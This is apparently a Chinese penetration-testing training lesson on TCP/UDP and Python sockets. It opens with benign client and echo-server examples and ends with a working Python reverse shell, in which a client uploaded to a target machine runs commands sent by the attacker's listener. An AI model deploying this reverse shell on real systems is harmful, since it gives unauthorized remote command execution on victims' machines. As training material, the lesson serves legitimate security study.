任务目标: 建立 socket 连接通道,可以相互之间传输数据 使用语言: python 任务描述: 在实际的渗透中,协议是建立据点网络通道的基础,可以通过网络通道对内部的服务器进行控制 本关主要锻炼大家对于协议的理解和对网络通道建立的使用方法,有了这个基础可以实现一些比如远控木马、端口扫描、服务爆破方面的工具。 报告要求 1、理解TCP、UDP协议的原理及特点 2、分别使用 TCP、UDP 协议实现数据通讯 扩展任务 客户端发送命令,服务端接收命令并执行
简介
计算机为了联网,就必须规定通信协议,早期的计算机网络,都是由各厂商自己规定一套协议,IBM、Apple和Microsoft都有各自的网络协议,互不兼容,这就好比一群人有的说英语,有的说中文,有的说德语,说同一种语言的人可以交流,不同的语言之间就不行了。 为了把全世界的所有不同类型的计算机都连接起来,就必须规定一套全球通用的协议,为了实现互联网这个目标,互联网协议簇(Internet Protocol Suite)就是通用协议标准。Internet是由inter和net两个单词组合起来的,原意就是连接“网络”的网络,有了Internet,任何私有网络,只要支持这个协议,就可以联入互联网。 因为互联网协议包含了上百种协议标准,但是最重要的两个协议是TCP和IP协议,所以,大家把互联网的协议简称TCP/IP协议。 通信的时候,双方必须知道对方的标识,好比发邮件必须知道对方的邮件地址。互联网上每个计算机的唯一标识就是IP地址,类似123.123.123.123。如果一台计算机同时接入到两个或更多的网络,比如路由器,它就会有两个或多个IP地址,所以,IP地址对应的实际上是计算机的网络接口,通常是网卡。 IP协议负责把数据从一台计算机通过网络发送到另一台计算机。数据被分割成一小块一小块,然后通过IP包发送出去。由于互联网链路复杂,两台计算机之间经常有多条线路,因此,路由器就负责决定如何把一个IP包转发出去。IP包的特点是按块发送,途径多个路由,但不保证能到达,也不保证顺序到达。 TCP协议则是建立在IP协议之上的。TCP协议负责在两台计算机之间建立可靠连接,保证数据包按顺序到达。TCP协议会通过握手建立连接,然后,对每个IP包编号,确保对方按顺序收到,如果包丢掉了,就自动重发。许多常用的更高级的协议都是建立在TCP协议基础上的,比如用于浏览器的HTTP协议、发送邮件的SMTP协议等。 一个TCP报文除了包含要传输的数据外,还包含源IP地址和目标IP地址,源端口和目标端口。 端口有什么作用?在两台计算机通信时,只发IP地址是不够的,因为同一台计算机上跑着多个网络程序。一个TCP报文来了之后,到底是交给浏览器还是QQ,就需要端口号来区分。每个网络程序都向操作系统申请唯一的端口号,这样,两个进程在两台计算机之间建立网络连接就需要各自的IP地址和各自的端口号。
引入
1. TCP/IP协议族的传输层协议主要包括TCP和UDP 2. TCP是面向连接的可靠的传输层协议。它支持在并不可靠的网络上实现面向连接的可靠的数据传输 3. UDP是无连接的传输协议,主要用于支持在较可靠的链路上的数据传输,或用于对延迟较敏感的应用
TCP的基本原理
三次握手->建立可靠连接 确认机制->应答接收 端口号->多路复用 序列号->丢失检测、乱序重排 完整性校验->差错检测 窗口机制->流量控制
TCP三次握手
三次握手过程说明
1. 由客户端发送建立TCP连接的请求报文,其中报文中包含seq序列号,是由发送端随机生成的,并且将报文中的SYN字段置为1,表示需要建立TCP连接。(SYN=1,seq=x,x为随机生成数值) 2. 由服务端回复客户端发送的TCP连接请求报文,其中包含seq序列号,是由回复端随机生成的,并且将SYN置为1,而且会产生ACK字段,ACK字段数值是在客户端发送过来的序列号seq的基础上加1进行回复,以便客户端收到信息时,知晓自己的TCP建立请求已得到验证。(SYN=1,ACK=x+1,seq=y,y为随机生成数值)这里的ack加1可以理解为是确认和谁建立连接。 3. 客户端收到服务端发送的TCP建立验证请求后,会使自己的序列号加1表示,并且再次回复ACK验证请求,在服务端发过来的seq上加1进行回复。(SYN=1,ACK=y+1,seq=x+1)
四次挥手过程说明:
1. 客户端发送断开TCP连接请求的报文,其中报文中包含seq序列号,是由发送端随机生成的,并且还将报文中的FIN字段置为1,表示需要断开TCP连接。(FIN=1,seq=x,x由客户端随机生成) 2. 服务端会回复客户端发送的TCP断开请求报文,其包含seq序列号,是由回复端随机生成的,而且会产生ACK字段,ACK字段数值是在客户端发过来的seq序列号基础上加1进行回复,以便客户端收到信息时,知晓自己的TCP断开请求已经得到验证。(FIN=1,ACK=x+1,seq=y,y由服务端随机生成) 3. 服务端在回复完客户端的TCP断开请求后,不会马上进行TCP连接的断开,服务端会先确保断开前,所有传输到A的数据是否已经传输完毕,一旦确认传输数据完毕,就会将回复报文的FIN字段置1,并且产生随机seq序列号。(FIN=1,ACK=x+1,seq=z,z由服务端随机生成) 4. 客户端收到服务端的TCP断开请求后,会回复服务端的断开请求,包含随机生成的seq字段和ACK字段,ACK字段会在服务端的TCP断开请求的seq基础上加1,从而完成服务端请求的验证回复(FIN=1,ACK=z+1,seq=h,h为客户端随机生成)
UDP的基本原理
"面向非连接"就是在正式通信前不必与对方先建立连接,不管对方状态就直接发送。与手机短信非常相似:你在发短信的时候,只需要输入对方号码就OK了。
TCP与UDP的区别
TCP | UDP | |
---|---|---|
是否连接 | 面向连接 | 面向非连接 |
传输可靠性 | 可靠的 | 不可靠的 |
应用场合 | 传输大量的数据 | 少量数据 |
速度 | 慢 | 快 |
基本语法
Socket又称"套接字"是网络编程的一个抽象概念。通常我们用一个Socket表示“打开了一个网络链接”,而打开一个Socket需要知道目标计算机的IP地址和端口号,再指定协议类型即可。
python中,用socket()
函数来创建套接字:
socket.socket([family[, type[, proto]]])
参数:
SOCK_STREAM
或SOCK_DGRAM
AF_INET
指定使用IPv4协议,SOCK_STREAM
指定使用面向流的TCP协议,SOCK_DGRAM
指定使用UDP协议
Socket 对象(内建)方法:
函数 | 描述 |
---|---|
s.bind() | 绑定地址(host,port)到套接字, 在AF_INET下,以元组(host,port)的形式表示地址。 |
s.listen() | 开始TCP监听。backlog指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5就可以了。 |
s.accept() | 被动接受TCP客户端连接,(阻塞式)等待连接的到来 |
客户端套接字 | |
s.connect() | 主动初始化TCP服务器连接,。一般address的格式为元组(hostname,port),如果连接出错,返回socket.error错误。 |
s.connect_ex() | connect()函数的扩展版本,出错时返回出错码,而不是抛出异常 |
公共用途的套接字函数 | |
s.recv() | 接收TCP数据,数据以字符串形式返回,bufsize指定要接收的最大数据量。flag提供有关消息的其他信息,通常可以忽略。 |
s.send() | 发送TCP数据,将string中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于string的字节大小。 |
s.sendall() | 完整发送TCP数据,完整发送TCP数据。将string中的数据发送到连接的套接字,但在返回之前会尝试发送所有数据。成功返回None,失败则抛出异常。 |
s.recvfrom() | 接收UDP数据,与recv()类似,但返回值是(data,address)。其中data是包含接收数据的字符串,address是发送数据的套接字地址。 |
s.sendto() | 发送UDP数据,将数据发送到套接字,address是形式为(ipaddr,port)的元组,指定远程地址。返回值是发送的字节数。 |
s.close() | 关闭套接字 |
s.getpeername() | 返回连接套接字的远程地址。返回值通常是元组(ipaddr,port)。 |
s.getsockname() | 返回套接字自己的地址。通常是一个元组(ipaddr,port) |
s.setsockopt(level,optname,value) | 设置给定套接字选项的值。 |
s.getsockopt(level,optname[.buflen]) | 返回套接字选项的值。 |
s.settimeout(timeout) | 设置套接字操作的超时期,timeout是一个浮点数,单位是秒。值为None表示没有超时期。一般,超时期应该在刚创建套接字时设置,因为它们可能用于连接的操作(如connect()) |
s.gettimeout() | 返回当前超时期的值,单位是秒,如果没有设置超时期,则返回None。 |
s.fileno() | 返回套接字的文件描述符。 |
s.setblocking(flag) | 如果 flag 为 False,则将套接字设为非阻塞模式,否则将套接字设为阻塞模式(默认值)。非阻塞模式下,如果调用 recv() 没有发现任何数据,或 send() 调用无法立即发送数据,那么将引起 socket.error 异常。 |
s.makefile() | 创建一个与该套接字相关连的文件 |
实例1(写一个客户端访问新浪)
当我们在浏览器中访问新浪时,我们自己的计算机就是客户端,浏览器会主动向新浪的服务器发起连接。如果一切顺利,新浪的服务器接受了我们的连接,一个TCP连接就建立起来的,后面的通信就是发送网页内容了。下面就来实现
# 导入socket库 import socket #创建一个socket套接字 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立连接 s.connect(('www.sina.com',80)) #里面的参数必须是个tuple,包含地址和端口号 # 发送数据 s.send(b'GET / HTTP/1.1\r\nHost:www.sina.com\r\nConnection: close\r\n\r\n') # 接收数据 buffer=[] while True: d=s.recv(1024) if d: buffer.append(d) else: break data=b''.join(buffer) # 关闭连接 s.close() # 接收到的数据包括HTTP头和网页本身,我们只需要把HTTP头和网页分离一下,把HTTP头打印出来,网页内容保存到文件: header , html = data.split(b'\r\n\r\n',1) print(header.decode('utf-8')) with open('sina','wb') as f: f.write(html)
运行上面的客户端脚本,会打印出响应包的header,同时也会将响应包的body写入到sina.html
实例2(编写一个简单的服务端程序,它接收客户端连接,把客户端发过来的字符串加上Hello
再发回去。)
服务器进程首先要绑定一个端口并监听来自其他客户端的连接。如果某个客户端连接过来了,服务器就与该客户端建立Socket连接,随后的通信就靠这个Socket连接了。所以,服务器会打开固定端口(比如80)监听,每来一个客户端连接,就创建该Socket连接。由于服务器会有大量来自客户端的连接,所以,服务器要能够区分一个Socket连接是和哪个客户端绑定的。一个Socket依赖4项:服务器地址、服务器端口、客户端地址、客户端端口来唯一确定一个Socket。
服务端
import socket import threading import time # 创建一个基于IPV4和TCP协议的Socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 绑定监听的端口 s.bind(('127.0.0.1',9999)) # 开始监听 #设置最大连接数,监听端口 s.listen(5) print(f'Waiting for connection...') def tcplink(sock,addr): print(f'Accept new connection from %s:%s' % addr) #连接建立后,服务器首先发一条欢迎消息,然后等待客户端数据,并加上Hello再发送给客户端。如果客户端发送了exit字符串,就直接关闭连接。 sock.send(b'welcome!') while True: data=sock.recv(1024) time.sleep(1) if not data or data.decode('utf-8') =='exit': break sock.send(('Hello,%s!' % data.decode('utf-8')).encode('utf-8')) sock.close() print('Connection from %s:%s closed.' % addr) #服务器程序通过一个永久循环来接受来自客户端的连接,accept()会等待并返回一个客户端的连接: while True: # 接受一个新连接 sock , addr = s.accept() #每个连接都必须创建新线程(或进程)来处理,否则,单线程在处理连接的过程中,无法接受其他客户端的连接: # 创建新进程来处理TCP连接 t= threading.Thread(target=tcplink,args=(sock,addr)) t.start()
要测试这个服务器程序,我们还需要编写一个客户端程序:
import socket # 创建一个socket套接字 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 建立连接 s.connect(('127.0.0.1',9999)) # 建立连接后,因为服务器会先发送欢迎 所以客户端先接受数据 print(s.recv(1024).decode('utf-8')) for data in [b'laoliu',b'laoyang',b'world']: s.send(data) print(s.recv(1024).decode('utf-8')) s.send(b'exit') s.close()
接下来首先启动服务端脚本,服务器开始监听
然后再启动客户端脚本,客户端会主动连接服务端监听的端口,同时服务端收到连接后会向客户端发送welcome
,之后客户端会执行for循环,将列表内的内容发送给服务端,服务端收到后,将这些内容前面加上hello,再重新发回给客户端
上面需要注意的点
引入
和上面TCP不同的是,使用UDP协议时,不需要建立连接,只需要知道对方的IP地址和端口号,就可以直接发数据包。但是,能不能到达就不知道了。
基本语法上面上面TCP也已经涵盖了UDP的,所以这里就直接写实例
实例(编写一个简单的服务端程序,它接收客户端连接,把客户端发过来的字符串加上Hello
再发回去。)
服务端
import socket s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#SOCK_DGRA表示指定类型为udp协议 #绑定端口和TCP一样,但是不需要调用listen()方法,而是直接接收来自任何客户端的数据: # 绑定端口 s.bind(("127.0.0.1",9999)) print("BIND UDP on 9999") while True: #接收数据 try: #recvfrom()方法返回数据和客户端的地址与端口,这样,服务器收到数据后,直接调用sendto()就可以把数据用UDP发给客户端。 data,addr = s.recvfrom(1024) print("获取来自%s:%s" % addr) s.sendto(b"hello %s!" % data,addr) except Exception as e: pass
客户端
#客户端使用UDP时,首先仍然创建基于UDP的Socket,然后,不需要调用connect(),直接通过sendto()给服务器发数据: import socket s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) for data in [b'laoliu',b'laoyang',b'Hello']: s.sendto(data,('127.0.0.1',9999)) #从服务器接收数据仍然调用recv()方法 print(s.recv(1024).decode('utf-8')) s.close()
启动服务端开始绑定端口,然后启动客户端直接向服务端发送数据
客户端发送命令,服务端接收命令并执行反弹shell的情况,大概实战环境下就是目标机器是一台win7机器,我自己的攻击机是win10,我本地在win10开启服务端进行监听,将客户端脚本传到目标机器上运行,然后等待目标机器弹shell回来
服务端
#服务器端 import socket import os import time s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('127.0.0.1',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接 s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量 print(f'Waiting for connection...') con,addr=s.accept()#接受一个客户端的连接 print('Connection from %s:%s' % addr) while True: # 服务端先接受数据,因为客户端连接过来的话首先会将其本地的绝对路径发过来,也就是客户端先在目标机器上执行pwd dir命令,将结果传回给服务端 dir=con.recv(2048).decode() # 服务端收到结果后 输入要执行的命令并发送 cmd=input('$'+dir+':').strip() con.send(cmd.encode()) if cmd=='exit': break result=con.recv(2048) print(result.decode()) time.sleep(1) s.close() print(f'退出')
客户端
import socket,os,time s=socket.socket() s.connect(('127.0.0.1',1234)) while True: # 客户端首先获取当前目录的绝对路径,并发送给服务端 dir=os.getcwd() s.send(dir.encode()) # 接收服务端传过来的cmd命令 cmd=s.recv(1024).decode() if cmd =='exit': break elif cmd.startswith('cd'): os.chdir(cmd.split()[1]) result='切换目录成功!' else: result=os.popen(cmd).read() #执行命令并将结果输出出来,用os.system不会回显执行命令的结果 if not result: result='命令执行完毕成功!' s.send(result.encode()) time.sleep(1) s.close() print(f'退出')
运行服务端脚本等待shell弹回来
上传客户端脚本并执行:
试下执行命令:
如上就完成了一个简单的python实现的反弹shell